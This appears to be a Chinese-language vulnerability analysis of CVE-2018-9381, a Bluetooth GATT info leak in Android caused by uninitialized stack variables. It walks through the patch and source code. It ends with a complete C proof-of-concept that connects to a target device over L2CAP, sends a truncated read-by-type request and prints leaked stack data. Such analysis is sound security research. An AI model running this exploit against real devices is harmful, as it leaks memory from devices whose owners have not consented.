【蓝牙】CVE-2018-9381 gatts_process_read_by_type_req未初始化栈变量导致信息泄露

补丁

  • https://android.googlesource.com/platform/system/bt/+/0519f6aa5345be0917ad52188479230148adf8bd

补丁初始化了两个变量,并且判断了传入的参数len,所以我们判断这里可能是len长度可以由攻击者控制,且后续直接使用了未初始化的栈变量

DO NOT MERGE Initialize local variable in gatts_process_read_by_type_req

Bug: 73125709
Test: manual
Change-Id: I8b3346f605e0820385ea5ed7401bbee664fd15aa
(cherry picked from commit 0e34139d7fa338df6c99aaba13eb839a3dbc2548)
diff --git a/stack/gatt/gatt_sr.cc b/stack/gatt/gatt_sr.cc
index 06c9c52..f9e8f53 100644
--- a/stack/gatt/gatt_sr.cc
+++ b/stack/gatt/gatt_sr.cc
@@ -788,7 +788,8 @@
 void gatts_process_read_by_type_req(tGATT_TCB& tcb, uint8_t op_code,
                                     uint16_t len, uint8_t* p_data) {
   tBT_UUID uuid;
-  uint16_t s_hdl, e_hdl, err_hdl = 0;
+  uint16_t s_hdl = 0, e_hdl = 0, err_hdl = 0;
+  if (len < 4) android_errorWriteLog(0x534e4554, "73125709");
   tGATT_STATUS reason =
       gatts_validate_packet_format(op_code, len, p_data, &uuid, s_hdl, e_hdl);

通过源码来看整个过程,GATT的初始化函数

/*******************************************************************************
 *
 * Function         gatt_init
 *
 * Description      This function is enable the GATT profile on the device.
 *                  It clears out the control blocks, and registers with L2CAP.
 *
 * Returns          void
 *
 ******************************************************************************/
void gatt_init(void) {
      tL2CAP_FIXED_CHNL_REG fixed_reg;
    
      VLOG(1) << __func__;
    
      gatt_cb = tGATT_CB();
      memset(&fixed_reg, 0, sizeof(tL2CAP_FIXED_CHNL_REG));
    
      gatt_cb.def_mtu_size = GATT_DEF_BLE_MTU_SIZE;
      gatt_cb.sign_op_queue = fixed_queue_new(SIZE_MAX);
      gatt_cb.srv_chg_clt_q = fixed_queue_new(SIZE_MAX);
      /* First, register fixed L2CAP channel for ATT over BLE */
      fixed_reg.fixed_chnl_opts.mode = L2CAP_FCR_BASIC_MODE;
      fixed_reg.fixed_chnl_opts.max_transmit = 0xFF;
      fixed_reg.fixed_chnl_opts.rtrans_tout = 2000;
      fixed_reg.fixed_chnl_opts.mon_tout = 12000;
      fixed_reg.fixed_chnl_opts.mps = 670;
      fixed_reg.fixed_chnl_opts.tx_win_sz = 1;
    
      fixed_reg.pL2CA_FixedConn_Cb = gatt_le_connect_cback;
      fixed_reg.pL2CA_FixedData_Cb = gatt_le_data_ind;
      fixed_reg.pL2CA_FixedCong_Cb = gatt_le_cong_cback; /* congestion callback */
      fixed_reg.default_idle_tout = 0xffff; /* 0xffff default idle timeout */
    
      L2CA_RegisterFixedChannel(L2CAP_ATT_CID, &fixed_reg);
    
      /* Now, register with L2CAP for ATT PSM over BR/EDR */
      if (!L2CA_Register(BT_PSM_ATT, (tL2CAP_APPL_INFO*)&dyn_info)) {
            LOG(ERROR) << "ATT Dynamic Registration failed";
      }
    
      BTM_SetSecurityLevel(true, "", BTM_SEC_SERVICE_ATT, BTM_SEC_NONE, BT_PSM_ATT,
                           0, 0);
      BTM_SetSecurityLevel(false, "", BTM_SEC_SERVICE_ATT, BTM_SEC_NONE, BT_PSM_ATT,
                           0, 0);
    
      gatt_cb.hdl_cfg.gatt_start_hdl = GATT_GATT_START_HANDLE;
      gatt_cb.hdl_cfg.gap_start_hdl = GATT_GAP_START_HANDLE;
      gatt_cb.hdl_cfg.app_start_hdl = GATT_APP_START_HANDLE;
    
      gatt_cb.hdl_list_info = new std::list<tGATT_HDL_LIST_ELEM>();
      gatt_cb.srv_list_info = new std::list<tGATT_SRV_LIST_ELEM>();
      gatt_profile_db_init();
}

注意其中的gatt_le_data_ind,建立连接后,当L2CAP收到数据,就会调用这个函数

fixed_reg.pL2CA_FixedData_Cb = gatt_le_data_ind;

该函数的注释,这里在根据地址获取CCB

/*******************************************************************************
 *
 * Function         gatt_le_data_ind
 *
 * Description      This function is called when data is received from L2CAP.
 *                  if we are the originator of the connection, we are the ATT
 *                  client, and the received message is queued up for the
 *                  client.
 *
 *                  If we are the destination of the connection, we are the ATT
 *                  server, so the message is passed to the server processing
 *                  function.
 *
 * Returns          void
 *
 ******************************************************************************/
static void gatt_le_data_ind(uint16_t chan, const RawAddress& bd_addr,
                             BT_HDR* p_buf) {
      tGATT_TCB* p_tcb;
    
      /* Find CCB based on bd addr */
      if ((p_tcb = gatt_find_tcb_by_addr(bd_addr, BT_TRANSPORT_LE)) != NULL) {
            if (gatt_get_ch_state(p_tcb) < GATT_CH_OPEN) {
                LOG(WARNING) << "ATT - Ignored L2CAP data while in state: "
                                << +gatt_get_ch_state(p_tcb);
            } else
                gatt_data_process(*p_tcb, p_buf);
      }
    
      osi_free(p_buf);
}

关键调用gatt_data_process(),注释里说,当我们是被连接的一端,那么我们就是ATT Server,所以,我们要处理来自Client的请求

/*******************************************************************************
 *
 * Function         gatt_le_data_ind
 *
 * Description      This function is called when data is received from L2CAP.
 *                  if we are the originator of the connection, we are the ATT
 *                  client, and the received message is queued up for the
 *                  client.
 *
 *                  If we are the destination of the connection, we are the ATT
 *                  server, so the message is passed to the server processing
 *                  function.
 *
 * Returns          void
 *
 ******************************************************************************/
void gatt_data_process(tGATT_TCB& tcb, BT_HDR* p_buf) {
      uint8_t* p = (uint8_t*)(p_buf + 1) + p_buf->offset; // 取buffer指针
      uint8_t op_code, pseudo_op_code;
    
      if (p_buf->len <= 0) { // p_buf->len是buffer的长度
            LOG(ERROR) << "invalid data length, ignore";
            return;
      }
    
      uint16_t msg_len = p_buf->len - 1; // 消息长度
      STREAM_TO_UINT8(op_code, p); // 取buffer的第一个8位作为OP_CODE
    
      /* remove the two MSBs associated with sign write and write cmd */
      pseudo_op_code = op_code & (~GATT_WRITE_CMD_MASK);
    
      if (pseudo_op_code >= GATT_OP_CODE_MAX) {
            LOG(ERROR) << "ATT - Rcvd L2CAP data, unknown cmd: 0x" << std::hex
                        << op_code;
            return;
      }
    
      if (op_code == GATT_SIGN_CMD_WRITE) {
            gatt_verify_signature(tcb, p_buf);
      } else {
            /* message from client */
            if ((op_code % 2) == 0)
    		    // OP_CODE = GATT_REQ_READ_BY_TYPE 0x08
    		    // 所以会走入这个分支
                gatt_server_handle_client_req(tcb, op_code, msg_len, p);
            else
                gatt_client_handle_server_rsp(tcb, op_code, msg_len, p);
      }
}

switch判断op_code,进入GATT_REQ_READ_BY_TYPE,调用gatts_process_read_by_type_req()

/** This function is called to handle the client requests to server */
void gatt_server_handle_client_req(tGATT_TCB& tcb, uint8_t op_code,
                                   uint16_t len, uint8_t* p_data) {
    /* there is pending command, discard this one */
    if (!gatt_sr_cmd_empty(tcb) && op_code != GATT_HANDLE_VALUE_CONF) return;
    
    /* the size of the message may not be bigger than the local max PDU size*/
    /* The message has to be smaller than the agreed MTU, len does not include op
     * code */
    if (len >= tcb.payload_size) {
        LOG(ERROR) << StringPrintf("server receive invalid PDU size:%d pdu size:%d",
                                    len + 1, tcb.payload_size);
        /* for invalid request expecting response, send it now */
        if (op_code != GATT_CMD_WRITE && op_code != GATT_SIGN_CMD_WRITE &&
                op_code != GATT_HANDLE_VALUE_CONF) {
            gatt_send_error_rsp(tcb, GATT_INVALID_PDU, op_code, 0, false);
        }
        /* otherwise, ignore the pkt */
    } else {
        switch (op_code) {
            case GATT_REQ_READ_BY_GRP_TYPE: /* discover primary services */
            case GATT_REQ_FIND_TYPE_VALUE:  /* discover service by UUID */
                gatts_process_primary_service_req(tcb, op_code, len, p_data);
                break;
    
            case GATT_REQ_FIND_INFO: /* discover char descrptor */
                gatts_process_find_info(tcb, op_code, len, p_data);
                break;
    		// switch判断,走入这个分支
            case GATT_REQ_READ_BY_TYPE: /* read characteristic value, char descriptor value */
                /* discover characteristic, discover char by UUID */
                gatts_process_read_by_type_req(tcb, op_code, len, p_data);
                break;

结合补丁,我们可以猜测这里很有可能是未对栈变量做初始化,后面直接使用了,此时栈变量的值就是栈里原来的数据,我们跟入第一个函数gatts_validate_packet_format(),这里传入了s_hdle_hdl

void gatts_process_read_by_type_req(tGATT_TCB& tcb, uint8_t op_code,
                                    uint16_t len, uint8_t* p_data) {
    tBT_UUID uuid;
    uint16_t s_hdl, e_hdl, err_hdl = 0;
    tGATT_STATUS reason =
        gatts_validate_packet_format(op_code, len, p_data, &uuid, s_hdl, e_hdl);
    ...

注意参数,使用的是引用的方法,所以这里的变量修改就会影响上层传入的变量

static tGATT_STATUS gatts_validate_packet_format(uint8_t op_code, uint16_t& len,
                                                 uint8_t*& p, tBT_UUID* p_uuid,
                                                 uint16_t& s_hdl,
                                                 uint16_t& e_hdl) {
    tGATT_STATUS ret = read_handles(len, p, s_hdl, e_hdl);
    ...
}

跟入read_handles(),问题出现了,当len的长度小于4,就返回GATT_INVALID_PDU,此时没有对s_hdle_hdl进行赋值操作

static tGATT_STATUS read_handles(uint16_t& len, uint8_t*& p, uint16_t& s_hdl,
                                 uint16_t& e_hdl) {
    if (len < 4) return GATT_INVALID_PDU;
    ...
}

返回上层函数,因为ret的值是GATT_INVALID_PDU,所以继续返回上层函数

static tGATT_STATUS gatts_validate_packet_format(uint8_t op_code, uint16_t& len,
                                                 uint8_t*& p, tBT_UUID* p_uuid,
                                                 uint16_t& s_hdl,
                                                 uint16_t& e_hdl) {
    tGATT_STATUS ret = read_handles(len, p, s_hdl, e_hdl);
    if (ret != GATT_SUCCESS) return ret;
    ...
}

回到了打补丁的函数,因为reasonGATT_INVALID_PDU,所以会调用gatt_send_error_rsp()返回错误信息给连接者(master)

void gatts_process_read_by_type_req(tGATT_TCB& tcb, uint8_t op_code,
                                    uint16_t len, uint8_t* p_data) {
    tBT_UUID uuid;
    uint16_t s_hdl, e_hdl, err_hdl = 0;
    tGATT_STATUS reason =
        gatts_validate_packet_format(op_code, len, p_data, &uuid, s_hdl, e_hdl);

    if (reason != GATT_SUCCESS) {
        gatt_send_error_rsp(tcb, reason, op_code, s_hdl, false);
        return;
    }
    ...

这个函数返回一个错误的消息,从我们上面的分析来看,第四个参数uinit_t handle对应着传入的s_hdl

/*******************************************************************************
 *
 * Function         gatt_send_error_rsp
 *
 * Description      This function sends an error response.
 *
 * Returns          void
 *
 ******************************************************************************/
tGATT_STATUS gatt_send_error_rsp(tGATT_TCB& tcb, uint8_t err_code,
                                 uint8_t op_code, uint16_t handle, bool deq) {
    tGATT_STATUS status;
    BT_HDR* p_buf;

    tGATT_SR_MSG msg;
    msg.error.cmd_code = op_code;
    msg.error.reason = err_code;
    msg.error.handle = handle;

    p_buf = attp_build_sr_msg(tcb, GATT_RSP_ERROR, &msg);
    if (p_buf != NULL) {
        status = attp_send_sr_msg(tcb, p_buf);
    } else
        status = GATT_INSUF_RESOURCE;

    if (deq) gatt_dequeue_sr_cmd(tcb);

    return status;
}

PoC如下,首先进行连接,send_trigger_req()里给p赋值为GATT_REQ_READ_BY_TYPE也就是0x08,赋值完后进行发送,此时发生错误,未初始化的栈变量被赋值到msg.error.handle,错误信息返回后被recv_and_leak()捕获,造成信息泄露,在recv_and_leak()里,因为cmd_codereason都是uint8_t类型,所以需要跳过两字节才是handle,同时handleuint16_t类型,所以使用STREAM_TO_UINT16读取

/*
  gcc poc.c -o poc -lbluetooth
  ./poc TARGET_ADDR
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>          
#include <sys/socket.h>
#include <arpa/inet.h>
#include <errno.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/l2cap.h>

#define BT_PSM_GATT 31

#define GATT_REQ_READ_BY_TYPE   0x08

#define UINT16_TO_STREAM(p, u16)     \
{                                    \
    *(p)++ = (uint8_t)(u16);         \
    *(p)++ = (uint8_t)((u16) >> 8);  \
}

#define STREAM_TO_UINT16(u16, p)                                  \
{                                                                 \
    (u16) = ((uint16_t)(*(p)) + (((uint16_t)(*((p) + 1))) << 8)); \
    (p) += 2;                                                     \
}

#define GATT_BLD_OPCODE(p, opcode) \
do {                               \
    *(p)++ = opcode;               \
} while(0)

// 接收设备返回的数据
void recv_and_leak(int sock_fd)
{
    uint8_t recv_buf[512];
    int ret;

    memset(recv_buf, 0, 512);
    ret = recv(sock_fd, recv_buf, 512, 0);
    if(ret == -1) {
        perror("[*] recv handle : ");
        return;
    }

    printf("recv len: %d\n", ret);

    uint16_t handle = 0;
    uint8_t *p = (recv_buf + 2);

    STREAM_TO_UINT16(handle, p);
    printf("leak data: %04x\n", handle);
}

// 发送数据包
void send_trigger_req(int sock_fd)
{
	uint8_t buffer[1024];
	memset(buffer, 0, 1024);

	uint8_t *p = buffer;
	GATT_BLD_OPCODE(p, GATT_REQ_READ_BY_TYPE);
    
    //uint16_t s_hdl = 0x0001, e_hdl = 0x000f;

    //UINT16_TO_STREAM(p, s_hdl);
    //UINT16_TO_STREAM(p, e_hdl);

    //uint16_t uuid = 0x2a05; // not 0x2800 - 0x2803
    //UINT16_TO_STREAM(p, uuid);

	send(sock_fd, buffer, p - buffer, 0);
    recv_and_leak(sock_fd);
}

// main函数主要做蓝牙连接操作
int main(int argc ,char* argv[]){
    int sock_fd, ret;
    int try_count = 1;
    char dest[18];
    struct sockaddr_l2 local_l2_addr;
    struct sockaddr_l2 remote_l2_addr;

    if(argc < 2){
        printf("usage : sudo ./poc TARGET_ADDR\n");
        return -1;
    }
    strncpy(dest, argv[1], 18);

    while( try_count-- > 0 )
    {
        sock_fd = socket(PF_BLUETOOTH, SOCK_STREAM, BTPROTO_L2CAP);
        if(sock_fd == -1){
            perror("[*] socket create failed : ");
            return -1;
        }
        
        // 初始化本地地址
        memset(&local_l2_addr, 0, sizeof(struct sockaddr_l2));
        local_l2_addr.l2_family = PF_BLUETOOTH;
        memcpy(&local_l2_addr.l2_bdaddr , BDADDR_ANY, sizeof(bdaddr_t));

        ret = bind(sock_fd, (struct sockaddr*) &local_l2_addr, sizeof(struct sockaddr_l2));
        if(ret == -1){
            perror("[*] bind()");
            goto out;
        }

        // l2cap_set_mtu(sock_fd, 1024, 1024);

        memset(&remote_l2_addr, 0, sizeof(remote_l2_addr));
        remote_l2_addr.l2_family = PF_BLUETOOTH;
        remote_l2_addr.l2_psm = htobs(BT_PSM_GATT);
        str2ba(dest, &remote_l2_addr.l2_bdaddr);

        if(connect(sock_fd, (struct sockaddr *) &remote_l2_addr,sizeof(remote_l2_addr)) < 0) {  
            perror("[*] can't connect");
            // if(errno == 100)
            //     goto vul;
            goto out;
        } 

        send_trigger_req(sock_fd);
        sleep(1);
    }

out:
    close(sock_fd);
    return 0;
}

再来回顾下补丁,首先初始化栈变量s_hdle_hdl,避免后续继续出现同样的问题,同时判断传入的buffer长度,不能小于4

 void gatts_process_read_by_type_req(tGATT_TCB& tcb, uint8_t op_code,
                                     uint16_t len, uint8_t* p_data) {
   tBT_UUID uuid;
-  uint16_t s_hdl, e_hdl, err_hdl = 0;
+  uint16_t s_hdl = 0, e_hdl = 0, err_hdl = 0;
+  if (len < 4) android_errorWriteLog(0x534e4554, "73125709");
   tGATT_STATUS reason =
       gatts_validate_packet_format(op_code, len, p_data, &uuid, s_hdl, e_hdl);

其它地方估计还会有不少这样的漏洞

Last updated